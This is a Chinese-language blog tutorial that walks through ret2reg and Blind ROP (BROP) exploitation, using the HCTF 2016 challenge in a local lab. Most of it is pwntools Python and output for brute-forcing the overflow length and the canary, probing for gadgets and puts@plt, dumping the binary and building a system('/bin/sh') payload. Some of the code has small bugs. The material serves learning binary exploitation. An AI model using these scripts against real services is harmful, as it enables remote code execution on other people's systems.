再探ROP(下)

终于开学啦!前几天没有课刚好可以记录下知识

image

0x00 前记

先说一下这篇文章的脉络结构:
一、ret2reg 的学习和理解
二、brop 的学习和探讨
ret2reg的知识就是就是对前面知识的变换,很简单,所以不做深入,其实就是ret2addr的演变。在概述里面会简单说一下brop部分,这个有趣的内容。

以上是一个分割线,这里步入正题。
brop,早在2014年,发表在Oakland的一篇文叫Hacking Blind,作者是来自Standford的Andrea Bittau, 这是一位巨佬级人物,看完他的论文后真的很佩服,在当时就把这个技术讲述的淋漓尽致(论文什么的后续会细说,这里就是抛砖引玉)。
那为什么要写这篇文章呢?
一、记录自己的学习历程,算是一个备忘录,俗话说:好记性不如烂笔头。
二、在学习中(这里强调一下,作为小白的我,从一片空白到刚刚接触)踩过坑,怎么一步一步小白式的理解,或者大言不惭一下:通熟易懂,把涉及的知识面、知识点都覆盖到。
好了,开始今天的表演,show time~

0x01 ret2reg

起因

安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space Layout Randomize,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。
ret2addr其实就是我们初探ROP说到的方法,具体请见这篇文章。
不过虽有有了保护,攻与守总会在相辅相成,互相促进,互相进步,因此很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行的攻击方法。

原理

1) 存在栈溢出漏洞,满足ret2shellcode利用条件,开启了aslr,没有开启pie
2)能拿到原文件,并且找到了与我们可控的栈空间有关联的寄存器reg1
3)栈溢出覆盖ret addr位置为call *reg1指令的地址,此时栈中写入了shellcode,找到的reg1存储的地址为shellcode的起始地址

1
2
3
普及一下aslr和pie的区别:
aslr,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。
pie,linux gcc编译器随后提供了fpie选项,此编译后修补aslr的漏洞,除了将栈,堆和动态库空间全部随机化,还把整个程序地址混淆了。

只要理解了ret2shellcode,只需要找到一个可控存储内容的寄存器,再有一条call *reg的指令即可完成此攻击。说到底,寄存器仅仅是一个中间介质。由于简单,仅仅是ret2shellcode的升级,就不再展开细说了,开始让我激动的第三部分

0x02 brop

第一部分很简单,有了上篇文章对ret2csu的铺垫,继续。
在探讨brop之前我们得先了解一下概念和几点基本知识,能够帮助我们继续往下探讨:

概述

开头已经引入了一些内容,这里补充一下
BROP攻击,全称Blind Return Oriented Programming Attack,是基于一篇发表在Oakland 2014的论文Hacking Blind,作者是来自Standford的Andrea Bittau。
引用原文一句话:
通过BROP攻击,无需拥有目标二进制文件就可以编写漏洞利用程序。它需要堆栈溢出,并且服务必须在崩溃后重新启动。根据服务是否崩溃(即,连接关闭还是保持打开状态),BROP攻击能够构建导致Shell的完整远程利用。BROP攻击会远程泄漏足够的小工具来执行写系统调用,然后将二进制文件从内存转移到攻击者的套接字。之后,可以执行标准的ROP攻击。除了攻击专有服务外,BROP在针对不公开使用特定二进制文件(例如从源代码安装程序,Gentoo盒等安装)的开源软件时非常有用。
当针对专有服务进行测试时,该攻击完成了4,000个请求(在几分钟内),并且在nginx和MySQL中存在实际漏洞。
有时在服务器中看到的根本问题是,它们在崩溃后派生了一个新的工作进程,而没有任何重新随机化(例如,没有execve跟随派生)。例如,nginx就是这样做的。

原文地址:点击直达

仔细阅读上述文字和文章,大体的概念和用处已经一目了然了。
这里再给出相关的paper和slide
paper - 点击直达
slide - 点击直达

根据以上文章大家可以学到作者Andrea Bittau的绝妙思路和操作,仔细研读后就能领悟到其中的精华(看了翻译的的论文,晕晕的,太难了,来自小白对大佬的仰望,不说这些,还是来点实际的,老老实实的学习)
继续探讨前要明白两个概念:
stop gadget:一般情况下,栈上的return address随意覆盖的内存地址的话,程序有很大可能性会挂掉,比如,该return address指向了一段代码区域,里面会有一些对空指针的访问造成程序crash,又比如p64(0)。那么与之相反(程序不会crash)就是stop gadget。
useful gadget:我们能够作为payload的gadget,比如我们后面会说到的pop rdi; ret。

有了这些知识后,我们继续往下走。

逆向思维切入

看过好多相关的文章,大佬们写得太棒啦(深深的膜拜中),由于涉及的内容过多,对于我这个初学者来说,学习第一遍,云里雾里,摸不清头脑(究其原因,还是自己太菜了)。
于是为了帮助这么菜的我更好的学习,自己清晰地梳理一下我是怎么样从无到有的学习步骤:

搭建环境

从hctf2016 ——“出题人失踪了”这道题目开始说起,本地搭建环境,编译一个开启了canary的保护机制的文件
gcc -z noexecstack -fno-stack-protector -no-pie -o brop brop.c
使用Socat建立通道进行访问,可以发现

1
2
3
4
pwn@MacBook-Pro ~ %  nc 10.112.26.131 1000
WelCome my friend,Do you know password?
123
No password, no game

在没有elf文件的情况下进行,显然就是brop手法运用的场景。
nc后,程序会有一个输入等待地方,依照之前的知识,可以知道这里很有可能就存在栈溢出漏洞,继续输入过长的字符,只需要溢出时抛出异常即可。

1
2
3
4
pwn@MacBook-Pro ~ % nc 10.112.26.131 1000
WelCome my friend,Do you know password?
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
pwn@MacBook-Pro ~ %

溢出长度和爆破canary

既然要栈溢出,根据前面的经验,需要知道溢出临界点,也即是填充的长度是多少,很简单,给出代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
def getLength():
i = 1
while True:
sh = remote('10.112.26.131', 1000)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
try:
byte = sh.recv()
except Exception as e:
print("[+] sucessfully! length is " + str(i-1) + "\n")
sh.close()
exit()
length = byte.decode()
sh.close()
if length.startswith('No password'):
print("[*] length greater than " + str(i) + "\n")
else:
exit()
i = i + 1
sh.close()
if __name__ == "__main__":
getlength()
1
2
3
4
5
6
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[+] sucessfully! length is 72
[*] Closed connection to 10.112.26.131 port 1000
[Finished in 1.6s]

可以发现length是72,由于原题没有开启canary保护机制,所以就省略了一步操作,我们重在于学习,因此开启canary保护机制重新利用,这里有几点需要注意:
BROP对存在栈溢出的ELF进行指令盲注,需要几个前提:一、进程crash后可以重启,这个当前例子即可满足;二、进程通过fork重启,从而保持多次重启程序时的状态不变,比如canary不变。
给出爆破cannay代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def getCanary():
sh = remote('10.112.26.131', 10001)
canary = '\x00'
payload_base = 72 * 'a'
for i in range(7):
payload_base = payload_base + canary
for j in range(256):
sh.recvuntil('WelCome my friend,Do you know password?\n')
payload = payload_base
payload += chr(j)
sh.send(payload)
byte = sh.recv()
if 'Welcome' in byte:
canary = chr(j)
break
print(payload_base)

参考:canary各种姿势绕过的bin1,
以上只是其中的一个插曲,继续探讨正题。

如何getshell

有了长度,也可以知道是存在栈溢出漏洞,岂不是按照之前的方法getshell就完成了吗?接下来一顿操作猛如虎。

现在我们知道溢出临界点位置,下面就是如何构造payload进行getshell。
这里思路其实很简单,都是利用栈溢出来进行getshell,特殊的只是需要brop的方法。
根据现有知识(从第一篇文章读到这,脑海里仅仅只有一般的栈溢出利用)我们对于此题或者说怎么样去运用此方法。
其实就是实现如下操作即可,如下图:

image

相应的,给出代码:

1
2
3
4
5
6
def getShell(pop_rdi_addr, binsh_addr, system_adddr):
payload = 'a' * 72 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_adddr)
sh = remote('10.112.26.131', 1000)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
sh.interactive()

是不是与之前的知识有了对应?但是呢,问题也随之来了,在没有elf文件的时候,pop_rdi_addr, binsh_addr, system_adddr这三个参数如何得来呢?
下面就是解决此三个三个参数了。

寻找直接条件

寻找 pop_rdi_addr

1
2
pop rdi;
ret;

这一个是不是很眼熟呢?在第一部分的ret2csu中有一个地方是可以得到此gadgets,继续往下看:

image

注意这里,当然没有pop rdi的身影,这里我们要知道汇编语言指令是机器指令的一种符号表示,也就是说两者是一一对应的,比如0x90就是nop指令。这里插入一个小插曲,如下图所示:

image

1
2
3
4
5
6
7
8
9
10
gdb-peda$ x /1x 0x4007a0
0x4007a0 <__libc_csu_init+96>: 0x5f415e41
gdb-peda$ x /1x 0x4007a1
0x4007a1 <__libc_csu_init+97>: 0xc35f415e
gdb-peda$ x /1x 0x4007a2
0x4007a2 <__libc_csu_init+98>: 0x90c35f41
gdb-peda$ x /1x 0x4007a4
0x4007a4 <__libc_csu_init+100>: 0x2e6690c3
gdb-peda$ x /1x 0x4007a5
0x4007a5: 0x0f2e6690

上述gdb处需要知道有一个小常识,小端存储,然后再与上图相对照。
小插曲结束,我们回到正题,为什么要有这一个小插曲呢?根据偏移值的不同,导致编译时候对齐位置不同,可以让机器编码变成不同指令了,依然是以上图为例:

1
2
3
4
5
6
gdb-peda$ x /1i 0x4007a1
0x4007a1 <__libc_csu_init+97>: pop rsi
gdb-peda$ x /1i 0x4007a3
0x4007a3 <__libc_csu_init+99>: pop rdi
gdb-peda$ x /1i 0x4007a4
0x4007a4 <__libc_csu_init+100>: ret

image

偏移量不同,对齐后就会形成我们想要的指令,当然我们也可以使用ida,修改一下byte,进行对比看一下:

image

说么这么多废话就是为了找到这一个gadgets,接下来就是寻找binsh_addr, system_adddr,这个现在细说不合适,大体说一下,后面会水到渠成的理解。我们在得到put@got表的内容后,通过偏移计算出 system() 函数和字符串 /bin/sh 的地址,这里其实就是前面的方法的知识。

寻找间接条件

说到这,我们只能确定直接getshell的条件,先捋一下,清晰条理:
一、通过通用gadgets(__libc_csu_init)寻找到pop_rdi_addr
二、得到put@got表的内容后,寻找到binsh_addr和 system_adddr

那么相应的问题就来了
一、如何能找到通用gadgets(__libc_csu_init)呢?并且顺利找到pop_rdi_addr
二、如何获取put@got表的内容

因为偏移的计算在前面的方法中已经使用过,可以去回顾一下。

先来解决第一个问题:如何能找到通用gadgets(__libc_csu_init)呢?并且顺利找到pop_rdi_addr。

因为拿不到源程序,所以解决第一个问题的方法是构造相应的payload去猜测出是否某一段代码是,并且去验证,最后拿到此gadgets的地址。
文章这部分开头已经提到了stop gadget,相反也有no stop gadget,两者配合即可找到通用gadgets(__libc_csu_init),进而获取我们的useful gadget,或者说我们brop gadget,用一张图形象的表述出来如何构造:

image

一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护或者是32位程序,显然此题是no pie的64bit文件。从0x400000开始直到初步找到有使程序不crash的地方,这个地方有可能就是是六个pop操作(大于或者小于6个,rip就会指向p64(0)(当然你填写p64(1),p64(2)等都可以),导致程序crash)和一个retq操作。 然后需要一步检查,如果经过一个useful gadget把上图中的addr,恰巧addr是stop gadget返回给rip中,这个useful gadget虽然符合条件,但是显然不是我们要找的brop gadget,因此需要一步检查。

image

此时对useful gadget进行检查,若crash,则基本上brop gadget。为了后续的代码能够有效运行,我们得先找到stop gadget,得先补一个代码,就是找到一个stop gadget,因为这是寻找其他片段的前提,在寻找的过程中可以发现stop gadgets有不少,这里挑选出来main函数的入口地址(个人强迫症,而且也没有用途,画蛇添足),给出代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def getMain(base_addr):
addr = base_addr
while True:
payload = p64(0) * 9 + p64(addr)
sh = remote('10.112.26.131', 1000)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(payload)
try:
byte = sh.recv()
except Exception as e:
sh.close()
print("[+] bad address: 0x%x" % addr)
addr += 1
continue
c = byte.decode()
print("[*] stop gadget address: 0x%x" % addr)
if c.startswith('WelCome my friend'):
print("[*] main address: 0x%x" % addr)
return addr
addr += 1
sh.close()

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
[+] bad address: 0x400685
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
[+] bad address: 0x400686
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] stop gadget address: 0x400686
[*] main address: 0x400686
[Finished in 16.3s]

如果使用此代码可以在 print(“[*] stop gadget address: 0x%x” % addr)后加一句sleep(10),获取其他的stop gadget就方便了,这里补充三个(用main真的是画蛇添足):
[*] stop gadget address: 0x40054c
[*] stop gadget address: 0x40054e
[*] stop gadget address: 0x40054f
stop gadget的寻找代码补上了,不难理解,为了画面优美(不然除了黑就是白,太单调了)补充一副运行图

image

有了stop gadget那么就继续寻找brop gadget,这里给出代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def getBropGadget(base_addr, stop_gadget):
addr = base_addr
while True:
payload = p64(0) * 9 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
try:
sh = remote('10.112.26.131', 1000)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.sendline(payload)
sh.recvline()
sh.close()
print("find address: 0x%x" % addr)
try:
payload = p64(0) * 9 + p64(addr) + p64(0) * 10
sh = remote('10.112.26.131', 1000)
sh.recvline()
sh.sendline(payload)
sh.recvline()
sh.close()
print("bad address: 0x%x" % addr)
except:
sh.close()
print("final gadget address: 0x%x" % addr)
return addr
except:
sh.close()
addr += 1

可以发现,find address会有不少个,所以我们检查是有必要的,这里给出final gadget address运行结果:

1
2
3
4
5
6
7
8
9
10
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
find address: 0x40079a
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] Closed connection to 10.112.26.131 port 1000
final gadget address: 0x40079a

这里找到了上图中popq %rbx的地址,偏移9后即popq %rdi的地址,也就是0x4007a3。

1
2
3
4
ps:
可能会对payload有些不解,这里解释一下:
前面测出来栈溢出的长度是72,那么使用payload = 'a' * 72 +,但是在此时( payload = 'a' * 72 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10)会报错:can only concatenate str (not "int") to str,由于类型不一样造成的。
解决办法:直接使用payload = p64(0) * 9 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10

解决第二个问题:如何获取put@got表的内容。

很眼熟的问题,在基本rop方法中学到过,具体请见上一篇文章,只要找到put()(有输出功能的函数,当然也可以write())所在的plt表,那么在这个场景中怎么找到put@plt就是关键的一步。
在上一个小问题中也说到了,只要利用stop gadget等构造合适的payload即可获取到我们想要的useful gadget。
此时怎么构造呢?
第一步就是先了解一下plt表,在之前的文章我们探讨过,具体详见此文章,在这里简单说一下,plt 表的一般在可执行程序开始的地方,他有一个特点就是具有比较规整的结构,每一个表项都是 16 字节,每个表项的 6 字节偏移处,是该表项对应函数的解析路径,也就是got表的位置。另外,大部分的PLT项都不会因为传进来的参数的原因crash,因为它们很多都是系统调用,都会对参数进行检查,如果有错误会返回EFAULT而已,并不会造成进程crash。所以若发现好多条连续的16个字节对齐的地址都不会造成进程crash,而且这些地址加6得到的地址也不会造成进程crash,那么很有可能这就是某个PLT对应的项了。 当然我们也可以这样,如下图:

image

那么contexts(过程:rdi -> context_addr -> contexts)就会打在荧屏上了,只需判断此条件即可获取put@plt,这里给出代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def getPutPlt(base_addr, stop_gadget, pop_rdi_addr):
addr = base_addr
while True:
payload = p64(0) * 9 + p64(pop_rdi_addr) + p64(0x400001) + p64(addr) + p64(stop_gadget)
sh = remote('10.112.26.131', 1000)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(payload)
try:
byte = sh.recv()
except:
sh.close()
addr += 1
continue
c = byte.decode()
if c.startswith('ELF'):
print("[*] put@plt address: 0x%x" % addr)
return addr
addr += 1
sh.close()

运行结果:

1
2
3
4
5
[x] Opening connection to 10.112.26.131 on port 1000
[x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131
[+] Opening connection to 10.112.26.131 on port 1000: Done
[*] put@plt address: 0x400545
[Finished in 11.9s]

这里需要解释一下,为什么是0x400001和startswith(‘ELF’)。
首先要保证此地址在程序中是有的,然后每个程序该地址中内容都相同,因为byte.startswith(‘\x7fELF’)会报错,不如从第一位开始。下面附图一张,解释为什么是ELF,更有说服力。
image

有了put@plt,就像上一篇所说到的,将put@got放入rdi,即可取得put的真实地址,但是问题又来了如何找到put@got呢?
当然就是这个方法的特色啦,使用put函数将plt表段给dump下来,此时还可以顺便把data表段dump下来,万一有“/bin/sh”呢。 至于地址范围可以随便找一个程序放入ida看一下。
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def dump(base_addr, stop_gadget, pop_rdi_addr, put_plt_addr):
addr = base_addr
while addr < 0x401000:
payload = p64(0) * 9 + p64(pop_rdi_addr) + p64(addr) + p64(put_plt_addr) + p64(stop_gadget)
sh = remote('10.112.26.131', 1000)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(payload)
data = sh.recv(timeout=0.1)
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
if addr == 0x400000:
result = data
else:
result += data
addr += len(data)
sh.close()
return result

puts 函数通过 \x00 进行截断,并且会在每一次输出末尾加上换行符 ,所以需要做一些处理,首先去掉末尾 puts 自动加上的 \n,然后有两种情况:
一、如果 recv 到一个 \n,说明内存中是 \x00;
二、如果 recv 到一个 \n\n,说明内存中是 \x0a,并且对recv进行延时。
将提取出来的内容写入文件中,保存到本地,然后拖入ida中,edit->segments->rebase program 将程序的基地址改为0x400000,找到偏移0x545 (为什么是这个地址呢?因为刚才获取到了put@plt,那么根据plt表特点就知道在附近啦) ,按c进行编译成汇编语言:

image

成功得到put@got为0x601018,下面的泄漏出put真实地址和根据在libc中通过偏移找到system和”/bin/sh”字符串,以及最后的getshell部分就很简单啦,自认为之前的文章说的已经算详细了,具体请见初探ROP,到这里新的内容已经探讨完了。

0x03 尾记

还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。
参考:
Blind Return Oriented Programming (BROP) Attack - 攻击原理
Blind Return Oriented Programming (BROP)
ctfwiki
canary各种姿势绕过

-------------本文结束&感谢您的阅读-------------